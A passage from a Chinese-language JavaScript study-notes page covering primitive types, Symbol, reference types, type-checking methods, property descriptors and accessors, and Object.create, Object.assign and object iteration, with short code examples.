</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span> <span class="nx">rabbit</span><span class="p">.</span><span class="nx">jumps</span> <span class="p">);</span> <span class="c1">// undefined，不再有这样的属性存在
</span></span></span></code></pre></div><hr>
<h2 id="原始值">原始值</h2>
<h3 id="定义">定义</h3>
<p>在 JavaScript 中，原始值（原始数据类型）是一种既非对象也无方法或属性的数据。有 7 种原始数据类型：</p>
<ol>
<li>string</li>
<li>number</li>
<li>bigint</li>
<li>boolean</li>
<li>undefined</li>
<li>symbol</li>
<li>null</li>
</ol>
<h3 id="特点">特点</h3>
<ul>
<li>所有原始值都是不可变的，即它们的值不能被修改</li>
<li>基本类型没有方法，但仍然表现得像有方法一样。当在原始值上访问属性时，JavaScript 自动将值装入包装对象中，并访问该对象上的属性</li>
<li>可以任意地被创建，且没有生命周期，因此不能作为weakmap的键</li>
<li>特殊值 null 和 undefined 比较特殊。它们没有对象包装器，所以它们没有方法和属性。并且它们也没有相应的原型。</li>
</ul>
<h3 id="参考-1">参考:</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Glossary/Primitive"  target="_blank" rel="noopener" >原始值 - MDN Web 文档术语表：Web 相关术语的定义 | MDN</a></li>
</ul>
<hr>
<h2 id="symbol">Symbol</h2>
<ul>
<li>Symbol 同时是 JavaScript 里最特殊和最不特殊的东西了。</li>
</ul>
<h3 id="最特殊">最特殊</h3>
<ul>
<li>代码</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">)</span> <span class="o">===</span> <span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// false
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">symbolOne</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">symbolTwo</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">symbolOne</span> <span class="o">===</span> <span class="nx">symbolTwo</span><span class="p">);</span> <span class="c1">// false
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">  <span class="nx">obj</span><span class="p">[</span><span class="nx">symbolOne</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;hello&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">obj</span><span class="p">[</span><span class="nx">symbolTwo</span><span class="p">]);</span> <span class="c1">// undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">obj</span><span class="p">[</span><span class="nx">symbolOne</span><span class="p">]);</span> <span class="c1">// &#39;hello&#39;
</span></span></span></code></pre></div><ul>
<li>传给 Symbol 构造器的字符串只是对它的一个描述，同一个领域下面同一个描述的 symbol 也是独特的。</li>
</ul>
<h3 id="最不特殊">最不特殊</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">symbolOne</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">symbolTwo</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">symbolOne</span> <span class="o">===</span> <span class="nx">symbolTwo</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">  <span class="nx">obj</span><span class="p">[</span><span class="nx">symbolOne</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;hello&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">obj</span><span class="p">[</span><span class="nx">symbolTwo</span><span class="p">]);</span> <span class="c1">// &#39;hello&#39;
</span></span></span></code></pre></div><ul>
<li>Symbol.for(str) 新建了一个根据你字符串唯一的 symbol 对象。重点是，跨了领域之后，它还是一样的。。</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">iframe</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s1">&#39;iframe&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">iframeWindow</span> <span class="o">=</span> <span class="nx">iframe</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">)</span> <span class="o">===</span> <span class="nx">iframeWindow</span><span class="p">.</span><span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">));</span> <span class="c1">// true
</span></span></span></code></pre></div><h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://segmentfault.com/a/1190000021089487"  target="_blank" rel="noopener" >javascript - [译] isArray 背后发生了什么？ - 梦里一路飞奔 - SegmentFault 思否</a></li>
</ul>
<hr>
<h2 id="引用数据类型对象类型">引用数据类型(对象类型)</h2>
<h3 id="包括">包括</h3>
<ol>
<li>Object</li>
<li>Array</li>
<li>Function</li>
<li>Date</li>
<li>RegExp</li>
</ol>
<p>ES6新增</p>
<ol>
<li>Map</li>
<li>WeakMap</li>
<li>Set</li>
<li>WeakSet</li>
</ol>
<h3 id="array-和object的关系">Array 和object的关系</h3>
<p>数组在内部也是对象，但它的原型是<code>Array.prototype</code></p>
<h3 id="和原始类型的区别">和原始类型的区别</h3>
<ul>
<li>定义方式不同：原始类型（如数字、字符串、布尔值、null和undefined）是直接赋值给变量的，而引用类型（如对象、数组和函数）是通过引用赋值给变量的。</li>
<li>存储方式不同：原始类型的值直接存储在栈中，而引用类型的值存储在堆内存中，然后在栈中保存对该内存地址的引用。</li>
<li>比较方式不同：原始类型的比较是按值进行的，即比较它们的实际值是否相等；而引用类型的比较是按引用进行的，即比较它们是否指向同一内存地址。</li>
<li>传递方式不同：将原始类型的值赋给新变量时，会复制该值；而将引用类型的值赋给新变量时，只会复制指向该值的引用。</li>
</ul>
<hr>
<h2 id="类型判断">类型判断</h2>
<h3 id="typeof"><code>typeof</code>:</h3>
<ul>
<li>用于检查变量的数据类型。它返回一个表示变量类型的字符串</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="k">typeof</span> <span class="nx">a</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">//&#39;object&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">b</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl"><span class="k">typeof</span> <span class="nx">b</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">//&#39;object&#39;
</span></span></span></code></pre></div></li>
<li>缺点: 只能检测8种: es5的string，boolean，number，function，object，undefined es6的symbol，以及最新的bigint</li>
<li>历史遗留问题
<ul>
<li>在 JavaScript 的早期版本中，值的内部类型使用了一个 32 位的标识符，其中某些位被用于表示类型。对于对象和 null，这个标识符的值是相同的，导致 typeof null 返回 &lsquo;object&rsquo;
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="k">typeof</span> <span class="kc">null</span> <span class="o">===</span> <span class="s2">&#34;object&#34;</span> <span class="c1">//true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typeof</span> <span class="kc">null</span> <span class="o">!==</span> <span class="s2">&#34;null&#34;</span> <span class="c1">// true
</span></span></span></code></pre></div></li>
</ul>
</li>
</ul>
<h3 id="instance-of"><code>instance of</code>:</h3>
<ul>
<li>用于检查一个对象是否是另一个对象的实例，或者是否属于某个类的实例</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Animal</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Dog</span> <span class="kr">extends</span> <span class="nx">Animal</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">dog</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Dog</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">dog</span> <span class="k">instanceof</span> <span class="nx">Dog</span><span class="p">);</span> <span class="c1">// 返回 true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">dog</span> <span class="k">instanceof</span> <span class="nx">Animal</span><span class="p">);</span> <span class="c1">// 返回 true
</span></span></span></code></pre></div></li>
</ul>
<h3 id="objecttostringcall"><code>Object.toString.call</code></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1">// &#34;[object Number]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="s1">&#39;hi&#39;</span><span class="p">)</span> <span class="c1">// &#34;[object String]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">({</span><span class="nx">a</span><span class="o">:</span><span class="s1">&#39;hi&#39;</span><span class="p">})</span> <span class="c1">// &#34;[object Object]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="s1">&#39;a&#39;</span><span class="p">])</span> <span class="c1">// &#34;[object Array]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="c1">// &#34;[object Boolean]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{})</span> <span class="c1">// &#34;[object Function]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="kc">null</span><span class="p">)</span> <span class="c1">// &#34;[object Null]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="kc">undefined</span><span class="p">)</span> <span class="c1">// &#34;[object Undefined]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">Symbol</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span> <span class="c1">// &#34;[object Symbol]&#34;
</span></span></span></code></pre></div><h3 id="如何实现instanceof">如何实现instanceof?</h3>
<p>wip</p>
<h3 id="如何确定传递的值是否是一个数组">如何确定传递的值是否是一个数组?</h3>
<ul>
<li>答: 使用<code>Array.isArray()</code></li>
<li><code>Array.isArray()</code>的特别之处
<ul>
<li><code>Array.isArray()</code> 拒绝原型链中带有 <code>Array.prototype</code>，而实际不是数组的对象，但 <code>instanceof Array</code> 会接受。</li>
<li>对在另一个领域里面创建的数组也会返回 true</li>
<li>对Array 的子类也会返回 true
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">SpecialArray</span> <span class="kr">extends</span> <span class="nb">Array</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">specialArray</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">SpecialArray</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">specialArray</span><span class="p">)</span> <span class="c1">// true
</span></span></span></code></pre></div></li>
</ul>
</li>
<li>领域(realm)
<ul>
<li>一个领域包含了 JavaScript 的全局对象。</li>
<li>跑在 worker 里面的代码，和跑在页面里面的代码，是属于不同领域的。</li>
<li>iframe 之间也是这样（属于不同领域）。但是，同源的 iframe 们共享一个 ECMAScript agent，意味着对象这个东西可以在不同领域之间传递：</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray"  target="_blank" rel="noopener" >Array.isArray() - JavaScript | MDN</a></li>
<li><a href="https://segmentfault.com/a/1190000021089487"  target="_blank" rel="noopener" >javascript - [译] isArray 背后发生了什么？ - 梦里一路飞奔 - SegmentFault 思否</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="object">Object</h2>
<h3 id="概念">概念</h3>
<ul>
<li>在 JavaScript 中，对象,可以被看作是一组属性的集合。它是唯一可变的值。事实上，函数也是具有额外可调用能力的对象。</li>
<li>对象属性名字可以是任意字符串，包括空串。
<ul>
<li>如果对象属性名字不是合法的 javascript 标识符，它必须用引号包裹。</li>
</ul>
</li>
<li>对象的原型（prototype）指向另一个对象或者 null</li>
</ul>
<h3 id="访问和设置object的属性">访问和设置Object的属性</h3>
<ul>
<li>
<p><strong>访问</strong></p>
<ul>
<li>点符号表示法
<ul>
<li><code>obj.propertyName</code></li>
<li>适用于静态属性名</li>
</ul>
</li>
<li>方括号表示法
<ul>
<li><code>obj[&quot;propertyName&quot;]</code></li>
<li>适用于动态属性名或包含特殊字符的属性名</li>
</ul>
</li>
<li>上述二者都属于<strong>属性访问器</strong>(Property accessors)</li>
</ul>
</li>
<li>
<p><strong>设置</strong></p>
<ul>
<li>语法<code>Object.defineProperty(obj, prop, descriptor)</code></li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="s1">&#39;hiddenProp&#39;</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">value</span><span class="o">:</span> <span class="s1">&#39;hidden&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">configurable</span><span class="o">:</span><span class="kc">false</span><span class="p">,</span><span class="c1">//default
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">enumerable</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span><span class="c1">//default
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">writable</span><span class="o">:</span> <span class="kc">false</span> <span class="c1">//default
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">});</span>
</span></span></code></pre></div></li>
</ul>
</li>
<li>
<p>设置访问器属性</p>
<ul>
<li>不能直接定义</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">book</span> <span class="o">=</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">    <span class="nx">hideYear</span><span class="o">:</span> <span class="mi">2004</span><span class="p">,</span> 
</span></span><span class="line"><span class="cl">    <span class="nx">edition</span><span class="o">:</span> <span class="mi">1</span> 
</span></span><span class="line"><span class="cl">  <span class="p">};</span> 
</span></span><span class="line"><span class="cl">  <span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">book</span><span class="p">,</span> <span class="s2">&#34;year&#34;</span><span class="p">,</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">    <span class="nx">get</span><span class="o">:</span> <span class="kd">function</span><span class="p">(){</span> 
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">hideYear</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">    <span class="p">},</span> 
</span></span><span class="line"><span class="cl">    <span class="nx">set</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">newValue</span><span class="p">){</span> 
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="nx">newValue</span> <span class="o">&gt;</span> <span class="mi">2004</span><span class="p">)</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">      <span class="k">this</span><span class="p">.</span><span class="nx">hideYear</span> <span class="o">=</span> <span class="nx">newValue</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">      <span class="k">this</span><span class="p">.</span><span class="nx">edition</span> <span class="o">+=</span> <span class="nx">newValue</span> <span class="o">-</span> <span class="mi">2004</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">      <span class="p">}</span> 
</span></span><span class="line"><span class="cl">    <span class="p">}</span> 
</span></span><span class="line"><span class="cl">  <span class="p">});</span> 
</span></span><span class="line"><span class="cl">  <span class="nx">book</span><span class="p">.</span><span class="nx">year</span> <span class="o">=</span> <span class="mi">2005</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span><span class="nx">book</span><span class="p">.</span><span class="nx">edition</span><span class="p">);</span> <span class="c1">//2
</span></span></span></code></pre></div></li>
</ul>
</li>
<li>
<p><strong>区别</strong></p>
<ol>
<li>使用属性访问器分配一个值, 添加的属性是<strong>可写、可枚举、可配置的</strong></li>
<li>默认情况下，使用<code>Object.defineProperty() </code>添加的属性是<strong>不可写、不可枚举和不可配置的</strong></li>
<li>若属性为不可配置的话，那么无法再修改其特性</li>
</ol>
</li>
<li>
<p><strong>删除</strong></p>
<ul>
<li>只能删除对象的可配置属性,<code>delete obj.name;</code></li>
<li>若属性为不可配置的话，尝试删除在非严格模式下会被忽略，严格模式下会抛出错误</li>
</ul>
</li>
<li>
<p>对象注入攻击：<a href="https://github.com/eslint-community/eslint-plugin-security/blob/main/docs/the-dangers-of-square-bracket-notation.md"  target="_blank" rel="noopener" >The Dangers of Square Bracket Notation</a></p>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://juejin.cn/post/7215401973842788411"  target="_blank" rel="noopener" >js中对象的点语法与方括号语法的区别 - 掘金</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Property_accessors"  target="_blank" rel="noopener" >属性访问器 - JavaScript | MDN</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"  target="_blank" rel="noopener" >Object.defineProperty() - JavaScript | MDN</a></li>
<li><a href="https://juejin.cn/post/6844903828580466702"  target="_blank" rel="noopener" >JavaScript对象的数据属性与访问器属性 - 掘金</a></li>
</ul>
</li>
</ul>
<h3 id="字面量初始化对象语法">字面量初始化对象语法</h3>
<ul>
<li>
<p>定义:</p>
<ul>
<li>一个用大括号（{}）括起来的以逗号分隔的列表，包含了一个对象的零个或多个属性名称和相关值</li>
<li>是 Object.create() 的一种语法糖</li>
</ul>
</li>
<li>
<p>区别于JSON:</p>
<ul>
<li>JSON 是对象字面语法的一个真子集</li>
</ul>
</li>
<li>
<p>简写函数名</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">property</span><span class="o">:</span> <span class="kd">function</span> <span class="p">(){}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">//等价于
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">property</span><span class="p">(){}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>
<p>参考： <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Object_initializer"  target="_blank" rel="noopener" >对象初始化器 - JavaScript | MDN</a></p>
</li>
</ul>
<h3 id="objectcreate">Object.create()</h3>
<ul>
<li>定义: 以一个现有对象作为原型，创建一个新对象</li>
<li>语法: <code>Object.create(proto, propertiesObject)</code></li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">o</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// foo 是一个常规数据属性
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">foo</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">writable</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">configurable</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">value</span><span class="o">:</span> <span class="s2">&#34;hello&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// bar 是一个访问器属性
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">bar</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">configurable</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">get</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nx">set</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Setting `o.bar` to&#34;</span><span class="p">,</span> <span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div></li>
<li>特点:
<ol>
<li>可以控制每个属性的可枚举性、可配置性等，而这在字面量初始化对象语法中是做不到的</li>
<li>直接创建了一个以 传入的第一个参数 作为原型的新对象，不涉及构造函数</li>
<li>由于没有构造函数，不会自动初始化属性，所有属性需要手动添加</li>
</ol>
</li>
<li>可用于模拟<code>new</code>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">myNew</span><span class="p">(</span><span class="nx">constructor</span><span class="p">,...</span><span class="nx">args</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">constructor</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span><span class="nx">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">res</span> <span class="k">instanceof</span> <span class="nb">Object</span> <span class="o">?</span> <span class="nx">res</span> <span class="o">:</span> <span class="nx">obj</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>参考: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create"  target="_blank" rel="noopener" >Object.create() - JavaScript | MDN</a></li>
</ul>
<h3 id="objectassign">Object.assign()</h3>
<ul>
<li>copies all enumerable own properties from one or more source objects to a target object. It returns the modified target object.</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">name</span> <span class="o">=</span> <span class="s1">&#39;tom&#39;</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="p">{</span><span class="nx">name</span><span class="o">:</span><span class="nx">name</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">.</span><span class="nx">name</span><span class="p">)</span> <span class="c1">//tom
</span></span></span></code></pre></div></li>
<li>参考：<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign"  target="_blank" rel="noopener" >Object.assign() - JavaScript | MDN</a></li>
</ul>
<h3 id="遍历object">遍历Object</h3>
<ol>
<li>for in 和 for of</li>
</ol>
<ul>
<li>对于Object，用<code>for in</code>来遍历Object的key,但无法用<code>for of</code>来遍历value
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">person</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">name</span><span class="o">:</span> <span class="s2">&#34;Alice&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">age</span><span class="o">:</span> <span class="mi">30</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">gender</span><span class="o">:</span> <span class="s2">&#34;female&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">person</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">key</span> <span class="o">+</span> <span class="s1">&#39;: &#39;</span> <span class="o">+</span> <span class="nx">person</span><span class="p">[</span><span class="nx">key</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
